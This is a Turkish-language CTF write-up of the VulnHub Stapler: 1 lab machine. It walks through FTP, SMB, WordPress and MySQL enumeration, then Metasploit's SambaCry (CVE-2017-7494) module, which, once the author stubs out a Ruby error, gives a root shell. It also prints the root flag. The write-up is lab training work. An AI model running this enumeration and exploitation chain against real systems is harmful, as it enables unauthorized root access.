Post cover image

October 12, 2026

Stapler: 1 CTF Writeup — SambaCry ile Root Erişimi / Root Access with SambaCry /

By Ege

6 min read

VulnHub · Linux · · CVE-2017–7494

None

Merhabalar, Stapler: 1 CTF makinesini anlatacağım. Daha önce Raven-2 çözümümde olduğu gibi burada da doğrudan exploit çalıştırmak yerine önce makinenin servislerini anlamaya, işe yarayan ipuçlarını toplamaya ve neden belirli bir yoldan ilerlediğimi açıklamaya çalıştım. Bu yazımda ve kimi zamanlar çözerken ai'a başvurdum. Bu yazı biraz ctf çözümünün yanı sıra çözerken yaptığım hataları düzeltmek üzerine de gidecek maalesef.

Stapler biraz bu açıdan ilginçti: FTP'de notlar, SMB'de paylaşımlar, WordPress'te eski bir sürüm ve alışılmadık bir portta ZIP dosyasıyla karşılaştım. Bazı noktalarda gereğinden fazla oyalandım ama sonunda SambaCry (CVE-2017–7494) üzerinden root shell elde ettim. Metasploit'te beklemediğim bir Ruby hatası çıkması da çözümün ayrı bir parçası oldu.

Testleri kendi VulnHub/VirtualBox laboratuvarımda gerçekleştirdim. Araç parametrelerini kontrol ederken ve Metasploit/Ruby uyumsuzluğunu araştırırken AI'dan yardımcı açıklamalar aldım; sonuçları terminalde kendim test ederek doğruladım.

1. Makineyi hazırlama ve IP adresini bulma

None None

VirtualBox'ta Stapler için bulduğum MAC 08:00:27:23:1A:9E idi. Sonrasında bunu arp-scan ile eşleştirerek hedefi doğruladım:

Kali:    192.168.0.182
Stapler: 192.168.0.58
MAC:     08:00:27:23:1A:9E

2. Nmap ile port taraması

IP'yi doğruladıktan sonra tüm TCP portlarına baktım, ardından bulunan portları sürüm ve varsayılan Nmap scriptleriyle inceledim:

sudo nmap -p- --open -sS -T4 192.168.0.58
sudo nmap -sC -sV -p 21,22,53,80,139,666,3306,12380 192.168.0.58

PortBulduğum servis21vsftpd 3.0.3 — anonymous FTP açık22OpenSSH 7.2p253dnsmasq 2.7580PHP CLI server, kökte 404139Samba 4.3.9-Ubuntu666ZIP benzeri binary içerik3306MySQL 5.7.1212380Apache 2.4.18, HTTPS üzerinden web sitesi

Sekiz açık port vardı. Özellikle FTP'nin anonim girişe izin vermesi ve Samba'nın dosya paylaşması dikkatimi çekti. Önce bu servislerden başlayacağım.

3. Anonymous FTP ve kullanıcı isimleri

FTP'ye anonymous ile giriş yaptım:

ftp 192.168.0.58

Listelemede note adlı küçük bir dosya vardı. İndirip okudum:

ftp> ls
-rw-r--r-- 1 0 0 107 Jun 03 2016 note
ftp> get note
ftp> bye
$ cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

Banner'da ayrıca Harry ismi geçiyordu. Bu aşamada bir şifre bulmadım ama Elly, John ve Harry isimlerini not aldım. Sonraki WordPress taramasında bunlarla tekrar karşılaşacaktım.

4. SMB paylaşımlarını inceleme

Samba tarafında anonim oturumla paylaşım listesini çektim:

smbclient -L //192.168.0.58 -N
Sharename   Type    Comment
print$      Disk    Printer Drivers
kathy       Disk    Fred, What are we doing here?
tmp         Disk    All temporary files should be stored here
IPC$        IPC     IPC Service

kathy paylaşımına girip recurse ON ile alt dizinlere baktım:

smbclient //192.168.0.58/kathy -N
kathy_stuff/todo-list.txt
backup/vsftpd.conf
backup/wordpress-4.tar.gz

todo-list.txt içindeki mesaj Kathy'den ve Initech için yedek almaktan bahsediyordu. wordpress-4.tar.gz dosyasını da indirdim; web tarafında WordPress olabileceğini düşündürdü. FTP yedeğindeki aktif ayarlar ise şöyleydi:

anonymous_enable=YES
anon_root=/var/ftp/anonymous
local_enable=YES
chroot_local_user=YES
userlist_enable=YES
local_root=/etc
ssl_enable=NO
pasv_enable=no

local_root=/etc dikkat çekiyordu fakat bu bir yedek dosyası olduğu için çalışan servisle birebir aynı yapılandırma olduğunu varsaymadım.

tmp paylaşımına baktığımda ls isminde 274 baytlık bir dosya vardı; içeriği basit bir dizin listelemesiydi. Daha sonra bu paylaşımın yazma iznini ayrıca test ettim:

echo 'OSCP-TEST' > /tmp/oscp-test.txt
smbclient //192.168.0.58/tmp -N
smb: \> put /tmp/oscp-test.txt oscp-test.txt
putting file /tmp/oscp-test.txt as \oscp-test.txt
smb: \> del oscp-test.txt

Yazma işlemi başarılı oldu. O an sadece bir izin bulgusu gibi görünüyordu ama SambaCry istismarında işime yarayan en önemli şey bu oldu.

5. Web enumeration: robots.txt, Gobuster ve WordPress

12380 portundaki web servisini inceledim. Ana sayfa çok fazla şey söylemiyordu, ancak robots.txt dosyası iki dizin gösterdi:

curl -k https://192.168.0.58:12380/robots.txt
User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/

/admin112233/ dizinine girdiğimde tarayıcıda "This could of been a BeEF-XSS hook ;)" uyarısı açıldı. Devamında sahte virüs uyarıları gibi görünen yönlendirmeler de vardı. Bunu not edip fazla zaman harcamadım; tek başına çalışan bir XSS bulduğum anlamına gelmiyordu.

/blogblog/ ise WordPress'ti. Daha fazla yol bulmak için Gobuster çalıştırdım:

gobuster dir \
  -u https://192.168.0.58:12380/blogblog/ \
  -w /usr/share/wordlists/dirb/common.txt \
  -k -t 10 -x bak,old,zip,txt

wp-admin, wp-content, wp-includes, license.txt ve xmlrpc.php gibi WordPress'e ait yollar bulundu. wp-content/uploads/ dizininde directory listing açıktı, ancak listelenen dosya yoktu.

Daha sonra WPScan kullandım:

wpscan --url https://192.168.0.58:12380/blogblog/ \
  --disable-tls-checks --enumerate u,p,t

Burada WordPress 4.2.1, BHost 1.2.9 teması, sürümleri doğrulanamayan akismet ve two-factor eklentileri ve toplam 11 kullanıcı kimliği/görünen adı bulundu. elly, john, harry, kathy, scott gibi isimler FTP ve SMB'deki notlarla örtüşüyordu.

Yorum alanında Stored XSS ihtimalini de araştırdım. Bir yorum gönderdiğimde "Your comment is awaiting moderation" mesajı geldi. Bu, yorumun incelemeye alındığını gösteriyor; JavaScript'in bir yöneticinin tarayıcısında çalıştığını kanıtlamıyor.

6. SearchSploit ile WordPress açıklarını kontrol etme

Kurulu sürümü öğrendikten sonra SearchSploit ile exploit aradım:

searchsploit 'WordPress 4.2'
searchsploit 'WordPress Core 4.2.1'
searchsploit -x php/webapps/36844.txt

Özellikle Exploit-DB 36844 / CVE-2015–3440, WordPress 4.2 için yorum alanını kullanan Persistent XSS açıklamasıyla dikkat çekti. Ancak hedefim 4.2.1 idi; bu güvenlik sürümünde aynı PoC'nin çalıştığını doğrulayamadım. Ayrıca yönetici etkileşimi gerekiyordu. Bu nedenle bir shell yolu olarak kabul etmedim.

Burada küçük bir terminal detayı da yaşadım: searchsploit -x dosyayı görüntüleyicide açtığında işlemi askıya aldım ve zsh: suspended çıktısı gördüm. Sonrasında açıklamaları cat ile okumak ve dosyayı searchsploit -m ile çalışma dizinime kopyalamak daha rahat oldu:

mkdir -p ~/oscp/stapler/exploits
cd ~/oscp/stapler/exploits
searchsploit -m php/webapps/36844.txt
cat 36844.txt

Benzer şekilde SearchSploit sonuçlarında çıkan her WordPress eklentisi exploit'ini kullanmadım; arama sonucunda görünmesi, o eklentinin hedefe kurulu olduğu anlamına gelmiyor.

7. Port 666: ZIP içinden çıkan görsel

Nmap çıktısında 666 portundan PK imzasıyla başlayan ZIP verisi geliyordu. Dosyayı indirip kontrol ettim:

nc -nv -w 5 192.168.0.58 666 > port666.zip
unzip -l port666.zip
unzip port666.zip
exiftool message2.jpg

ZIP'in içinde tek dosya vardı: message2.jpg. Metadata bölümündeki mesaj "If you are reading this, you should get a cookie!" şeklindeydi. Görselde de Scott isimli birine mesajını değiştirmesini söyleyen terminal ekranı görünüyordu.

8. MySQL kontrolü

3306/TCP açık olduğu için MySQL'e de baktım. İlk bağlantıda TLS uyumsuzluğu aldım. SSL olmadan tekrar denediğimde ise parola olmadan root girişi reddedildi:

mysql -h 192.168.0.58 -u root --skip-ssl
ERROR 1045 (28000): Access denied for user 'root'@'kali' (using password: NO)

Yani MySQL'e ulaşabiliyordum ama elimde geçerli bir hesap yoktu. Burada da rastgele şifre denemelerine takılmadan SMB tarafına döndüm.

9. SambaCry: SearchSploit'ten Metasploit'e

Samba sürümü 4.3.9-Ubuntu idi. SearchSploit'te sürümü aradım:

searchsploit 'Samba 4.3'
searchsploit 'SambaCry'

İkinci arama sonuç vermedi ama ilk aramada şu exploit çıktı:

Samba 3.5.0 < 4.4.14/4.5.10/4.6.4
'is_known_pipename()' Arbitrary Module Load
linux/remote/42084.rb

Bu, CVE-2017–7494 (SambaCry) ile ilişkiliydi. Samba servisinin sürümü uyumlu görünüyordu, ayrıca tmp paylaşımına yazabildiğimi doğrulamıştım. Exploit'in çalışması için sunucu üzerindeki gerçek paylaşım yolunun da bulunması gerekiyordu.

Metasploit'te modülü hazırladım:

msfconsole -q
search cve:2017-7494
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.0.58
set RPORT 139
set SMB_SHARE_NAME tmp
set VERBOSE true
check

445 portu filtrelenmişti, 139 ise açıktı. İlk check denemesinde zafiyet sonucu yerine hata aldım:

NoMethodError undefined method 'report_service'

run komutunda da aynı hata çıktı. İlk bakışta exploit çalışmıyor gibiydi fakat bu bir hedef yanıtı değil, Metasploit/Ruby tarafında oluşan bir uyumsuzluktu.

10. Metasploit'teki report_service hatasını düzeltme

Bu bölümde biraz zaman geçirdim. Önce ilgili Ruby dosyalarında report_service metodunun nerede çağrıldığına baktım:

grep -Rn 'report_service' \
  /usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb* \
  2>/dev/null | head -30

Çıktıda client.rb:945 ve client/ipc.rb:42 satırlarına ulaştım. Ayrıca modülün Msf::Exploit::Remote::SMB::Client bileşenini kullandığını gördüm. Orijinal Framework dosyalarını doğrudan değiştirmek istemediğim için exploit modülünün yerel kopyasını oluşturdum:

mkdir -p ~/.msf4/modules/exploits/linux/samba
cp /usr/share/metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb \
  ~/.msf4/modules/exploits/linux/samba/stapler_sambacry.rb
nano ~/.msf4/modules/exploits/linux/samba/stapler_sambacry.rb

include Msf::Exploit::Remote::SMB::Client satırının altına şu küçük metodu ekledim:

def report_service(opts = {})
  vprint_status("Skipping service reporting: #{opts[:host]}:#{opts[:port]}")
  nil
end

Bu bir geçici laboratuvar çözümüydü: raporlama fonksiyonunu atlayarak hata veren kısmı aşmayı amaçlıyor, Framework'ün kendisini kalıcı şekilde düzeltmiyordu. Kodun sözdizimini kontrol ettim: (AI ile tabiki :) )

ruby -c ~/.msf4/modules/exploits/linux/samba/stapler_sambacry.rb
# Syntax OK

Metasploit'i tekrar açıp modülü yükledim:

reload_all
use exploit/linux/samba/stapler_sambacry
set RHOSTS 192.168.0.58
set RPORT 139
set SMB_SHARE_NAME tmp
set VERBOSE true
check

Bu defa kontrol ilerledi ve sonunda şu sonucu aldım:

[+] The target appears to be vulnerable.
    Samba version 4.3.9 found with writeable share 'tmp'
  1. Exploitation ve root shell

Modülün zafiyet kontrolü olumlu dönünce run komutunu çalıştırdım. Metasploit, tmp paylaşımının sunucudaki gerçek dizinini /var/tmp olarak buldu. Payload'u .so uzantılı paylaşımlı kütüphane olarak yükledi. İlk birkaç yükleme denemesi STATUS_OBJECT_NAME_NOT_FOUND döndürdü; ancak başka bir denemede başarılı oldu:

[*] Share 'tmp' has server-side path '/var/tmp'
[*] Uploaded payload to \\192.168.0.58\tmp\...so
[+] Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session opened

Shell'de ilk yaptığım şey yetkiyi doğrulamak oldu:

whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
hostname
# red.initech
pwd
# /tmp

Bu makinede ekstra bir yerel privilege escalation yöntemi kullanmadım. SambaCry ile açılan shell doğrudan root yetkisindeydi.

12. Root flag ve sonuç

Root erişimi geldikten sonra flag dosyasını aradım:

find /root /home -type f -iname '*flag*' 2>/dev/null
cat /root/flag.txt
/root/flag.txt
b6b545dc11b7a270f4bad23432190c75162c4a2b

Stapler'da birkaç farklı servisin peşinden gittim. FTP'deki isimler, WordPress tarafındaki eski sürüm, yorum alanı ve 666 portundan gelen görsel işe yarayabilecek şeylerdi ama sonucu getiren kombinasyon eski Samba sürümü + yazılabilir tmp paylaşımı oldu.

Benim için bu lab'ın önemli tarafı sadece root olmak değildi. Metasploit'in verdiği Ruby hatasıyla hedef sistemin gerçekten savunmasız olup olmamasını birbirinden ayırmak, hatalı modülü yerel kopyada düzeltmek ve en sonunda doğrulanabilir bir root shell elde etmek daha öğreticiydi. OSCP hazırlığı açısından da keşifte topladığım bilgileri ilişkilendirme pratiği oldu.

Okuduğunuz için teşekkürler. Eksik veya hatalı gördüğünüz yerleri benimle paylaşabilirsiniz.